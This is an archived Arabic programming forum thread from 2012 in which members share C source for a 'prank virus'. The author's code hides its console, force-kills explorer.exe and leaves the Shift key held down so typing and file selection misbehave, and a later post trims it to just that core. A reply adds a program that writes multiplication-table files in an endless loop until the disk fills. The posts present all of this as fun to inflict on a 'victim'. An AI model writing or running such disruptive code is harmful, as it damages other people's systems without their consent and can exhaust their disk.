الفريق العربي للبرمجةأرشيف المنتديات · 2000 – 2023
نسخة أرشيفية للقراءة فقط — التسجيل والمشاركة مغلقان، والمحتوى محفوظ كما كان.

~| فيروس أحمق بكل المقاييس |~

بدأه The Hidden Ghost في 19 سبتمبر 2012 · 9 رد · 2,483 مشاهدة · في مشاريع ومسابقات القسم
مشاركة: واتساب X فيسبوك تيليجرام
#1 صاحب الموضوع

206303368.gif

إن الحمد لله نحمده ونستعينه ونستغفره ونعوذ بالله من شرور أنفسنا و سيئات أعمالنا ،

من يهده الله فلا مضل له ، و من يضلل فلا هادي له ، وأشهد أن لا إله إلا الله

وحده لا شريك له و أشهد أن محمدا عبده ورسوله صلى الله عليه وسلم.

أما بعد ، فتحية طيبة لكل أعضاء وزوار منتدى الفريق العربي ...

اليوم أقدم لكم هذا المقلب الصغير الذي برمجته بلغة السي ، و مما لا شك فيه أن أصحاب

القلوب الضعيفة و الألياف العصبية السريعة التوتر سوف لن يحبوا هذا المقلب ،

لأنه مضر بصحتهم

laugh.gif.

هههههههههه ...

1 - مبدأ عمل البرنامج :

بالنسبة لفكرة البرنامج فلقد استعملت دالة لقنص أحداث لوحة المفاتيح و إليكم

بعض الشرح لهذه الدالة :

void keybd_event(BYTE bVirtKey, BYTE bScanCode, DWORD dwFlags, DWORD dwExtraInfo);


bVirtKey : متغير من نوع بايت ، حيث يمكننا من كتابة إسم المفتاح الذي نريده أن يضغط ههههه

bScanCode : بالنسبة لي أعطيه القيمة صفر ...



laugh.gif لأنه أساس إيجاد

dwFlags : متغير من نوع DWORD ، لن أتكلم عنه


حل للمهزلة التي سيرتكبها المقلب هههههههه ...




  • dwExtraInfo : بالنسبة لي أعطيه القيمة صفر ... لأنني لا أعرف دوره بالتحديد ...

    laugh.gifsmile.gif





و إليكم ماذا سيحدث لمن سولت له نفسه الضغط على الدواسة لتشغيل الفايروس

mad.gif

  1. ستصبح الكتابة مرهونة بالأحرف الكبيرة ، مما يشكل ازعاجا دائما للمستخدم sad.gif
عندما تريد فتح ملف ما ستفتح معه الملفات التي قربه ، كما لو أنك تقوم بتضليل الملفات الأخرى . هههههههه
والممتع جدا هو أنك حتى لو أغلقت البرنامج فمفعول المقلب سيبقى ساريا هههههههه laugh.gif

confused_smile.gif

935527478.png

192759100.png

إليكم السورس + نسيت أن أذكر لكم أن الفيروس لديه جانب تعليمي smile.gif ، فهو يعلم المستخدم حفظ جدول الضرب 36_11_16[1].gif

#include <stdio.h>
#include <windows.h>
#include <stdlib.h>

#define PressEnter  	keybd_event(VK_MENU,0x38,0,0)
#define PressAlt    	keybd_event(VK_RETURN,0x1C,0,0)
#define ENTER_UP    	keybd_event(VK_MENU,0x38,VK_UP,0)
#define ALT_UP      	keybd_event(VK_RETURN,0x1C,VK_UP,0)
#define PressShift  	keybd_event(VK_SHIFT,0,0,0)

void KillingExplorerNow() __attribute__ ((constructor));
void RuningExplorerNow() __attribute__ ((destructor));
void SetFullScreenMode();
void LearnMoreAboutMultiplication();

void KillingExplorerNow()
{
	HWND hconsole;
	system("title kill");
	hconsole = FindWindow(NULL,"kill");
	ShowWindow(hconsole,FALSE);
	system("taskkill /f /im explorer.exe");
	system("cls");
}
void RuningExplorerNow()
{
	PressShift;
	system("start explorer.exe");
}
void SetFullScreenMode()
{
	Sleep(3000);
	PressEnter,PressAlt;
	ENTER_UP,ALT_UP;
	LearnMoreAboutMultiplication();
}
int main()
{
	SetFullScreenMode();
	system("pause");
	return 0;
}
void LearnMoreAboutMultiplication()
{
	int x,z;
	printf("\n\n\tLearn More About Multiplication Table :)\n\n");
	for(x=1;x<=20;x++)
	{
    	for(z=1;z<=10;z++)
    	{
        	printf("   %d  ",x*z);
    	}
	printf("\n\n");
	}
}

إليكم صور الكارثة ،،،

2
rS3eY.png
#2

IAM USING THE VIRUS NOW sleep.gif WHEN I WANT WRITE IN ARABIC wink.gif I OBTAIN THESE CHARACTERS

أ،أ؛/.’

THESE CHARACTERS MEAN *IAM HAMZA * . I HAVE MANY ISSUES

CONSTROL + X IS DISABLED

NUMBERS TABLE IS DISABLED

THE THREE BUTTON OF MOUSE IS DISABLED . IT DON*T WORK IN THE BROWSER

WHEN I SELECT A TEXT . ALL IS SELECTED

I HAVE MANY PROBLEMS WITH THIS VIRUS laugh.gif

تم تعديل هذه المشاركة بواسطة Hamza+C+ASM في 19 سبتمبر 2012 في 16:45

rS3eY.png
#3

DOWNLOAD THE VIRUS smile.gif

shift-virus.zip

1
rS3eY.png
#4

كالعادة, لم أستطع تشغيل الفيروس نظراً لأنه يعتمد على وضع الــ Fullscreen : (

اقتباس
والممتع جدا هو أنك حتى لو أغلقت البرنامج فمفعول المقلب سيبقى ساريا

لكن عند إعادة تشغيل الــ explorer.exe سيتوقف البرنامج :P

بالمناسبة, لماذا لم تُغلق الملف بعد الإنتهاء من الكتابة فيه ؟ :happy:

أمممم .. أرى أنه من الأفضل بتخزين جدول الضرب في ملف نصي ثم تكرر العملية .. حتى يحفظ الضحية جدول الضرب :D

#include<windows.h>
#include<stdio.h>

#define PRINT printf("\n\n\n\n\n\n\t\t\t");

void colorTexte(int nb) {
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), nb);
}

void afficheTexte(const char *str) {
    while (*str) {
        Sleep(50);
        printf("%c", *str++);
    }
}

void bienvenue() {
    PRINT;
    colorTexte(10);
    afficheTexte("Chargement ");
    colorTexte(9);
    afficheTexte("en cours");
    colorTexte(13);
    afficheTexte(", ");
    colorTexte(12);
    afficheTexte("Veuillez ");
    colorTexte(14);
    afficheTexte("patienter");
    colorTexte(13);
    afficheTexte(" ...");
    putchar('\n');
}

int main() {

    int c = 1;
    char nameOfFile[265];
    bienvenue();

    while (true) {
        sprintf(nameOfFile, "File num %d.txt", c);
        FILE * File = fopen(nameOfFile, "wt");
        fprintf(File, "\n\n\t\t\tLearn More About Multiplication Table :)\n\n");
        for (int i = 1; i <= 10; i++) {
            for (int j = 1; j <= 10; j++) {
                fprintf(File, "%d\t", i * j);
            }
            fprintf(File, "%s", "\n\n");
        }
        c++;
        fclose(File);
    }

    return 0;
}

النتيجة :

post-219439-034823900 1348065758_thumb.p

كل ملف يحتوي على :

post-219439-098774500 1348065879_thumb.p

ملاحظة : الكود مزعج شيئا ما, لذا من الأفضل إنشاء مجلد جديد و وضع البرنامج التنفيذي داخله.

و عند الإنتهاء من التجربة يمكن حذف جميع الملفات بضغطة زر واحدة من خلال حذف المجلد الجديد.

المرفقات
Result.pngtestCode.png
2
#5
اقتباس
لكن عند إعادة تشغيل الــ explorer.exe سيتوقف البرنامج tongue.gif

من قال هذا يا أحمد smile.gif ، فزر Shift سيبقى مضغوطا + على فكرة يمكنك حذف الذي يظهر جدول

الضرب و الاحتفاظ بالجزء الأهم من الفيروس ، عليك تجربة الفيروس و إلا 054.gif

1
rS3eY.png
#6
اقتباس
فزر Shift سيبقى مضغوطا

تنشيط الــ Caps lock, ألا يحل المشكلة ؟ :)

اقتباس
يمكنك حذف الذي يظهر جدول الضرب و الاحتفاظ بالجزء الأهم من الفيروس

قمت بإلغاء وضع الــ Fullscreen, لكن البرنامج لم يعمل معي !

.. تظهر الشاشة السوداء ثم تختفي بعد ثوانٍ من ظهورها و يبقى البرنامج قيد التشغيل, لكن لا أرى أثراً لعمله ! : (

#7

افتح النوتباد و قم بالكتابة فيه ، إليك الدليل لقد شغلت الفيروس الآن و حاولت الكتابة بالعربية هنا فظهرت لي الكتابة على هذا الشكل مع أنني أشعلت مصباح Caps lock

ألأـأـألأ[لأ[لأ[[[لأ[لأ ألأألأ ألأ

أ،ـ [[] [] لإٌإلإ ألأأ لأأإلإ؛]]ٌٌُ{{

استخدم هذا الكود فقط ،،، smile.gif

#include <stdio.h>
#include <windows.h>
#include <stdlib.h>

#define PressShift      keybd_event(VK_SHIFT,0,0,0)

void KillingExplorerNow() __attribute__ ((constructor));
void RuningExplorerNow() __attribute__ ((destructor));

void KillingExplorerNow()
{
        system("taskkill /f /im explorer.exe");
        system("cls");
}
void RuningExplorerNow()
{
        PressShift;
        system("start explorer.exe");
}
int main()
{
        printf("Un virus a ete detecte !!!\n\n");
        system("pause");
        return 0;
}
rS3eY.png
#8

على فكرة ... كلما كثرت المواضيع من هذا القبيل كلما أصبح الدخول إلى المنتدى أكثر متعة ...بارك الله فيك ..

لكن حالياً ليس عندي رغبة في التعامل مع windows API ربما لاحقاً .... إن شاء الله ... ثابر ( +3 )

#9

إن شاء الله أخي مصطفى + شكرا لك على الرد المشجع حقا smile.gif

rS3eY.png
#10

happy.gif رائع جداً وخصوصاً عند فتح المجلدات والتحديد

بارك الله فيك

Be the change you want to see in the world


مواضيع مشابهة